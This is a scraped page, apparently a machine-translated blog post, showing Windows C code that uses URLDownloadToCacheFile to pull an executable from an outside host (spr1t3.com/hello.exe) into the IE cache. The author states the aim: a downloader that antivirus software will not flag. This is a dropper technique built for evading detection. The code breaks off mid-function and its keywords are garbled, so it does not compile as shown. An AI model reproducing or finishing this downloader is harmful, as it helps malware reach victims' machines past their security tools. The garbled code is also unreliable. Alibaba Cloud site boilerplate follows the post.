Few people use the Downloader method

Source: Internet
Author: User

Today, see Urlmon.h file, see several other download functions, if you use other people do not use the Urldownloadtofile function, write to download, will not be killed?
Start the Search function URLDownloadToCacheFile (MSDN: http://msdn.microsoft.com/library/default.asp?url=/workshop/net .../ functions/urldownloadtocachefile.asp), literally means downloading files to a cached file, using the MSDN search method, After performing a download, the file is downloaded to the cache folder of IE. later find the path to get IE cache folder, and Google for a few minutes, finally found a suitable api:geturlcacheentryinfo (MSDN:http:// msdn2.microsoft.com/en-us/library/aa384185.aspx)

So the following code is available:

]

#include <urlmon.h>
#include <Wininet.h>
#include <stdio.h>
#pragma comment (lib, "Urlmon.lib")
#pragma comment (lib, "Wininet.lib")

#pragma COMMENT (linker, "/opt:nowin98")
#pragma COMMENT (linker, "/merge:.rdata=.text")

#define SZURL "Http://www.spr1t3.com/hello.exe"

void Main (int argc,char * * argv)
{
URLDownloadToCacheFile (Null,szurl, "C:\1.exe", 50,0,null);

DWORD dwentrysize=0;
Lpinternet_cache_entry_info Lpcacheentry;

Char strtemp[255];

if (! Geturlcacheentryinfo (szurl,null,&dwentrysize))
{
if (GetLastError ()!=error_insufficient_buffer)
{
Return
}
Else

<

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.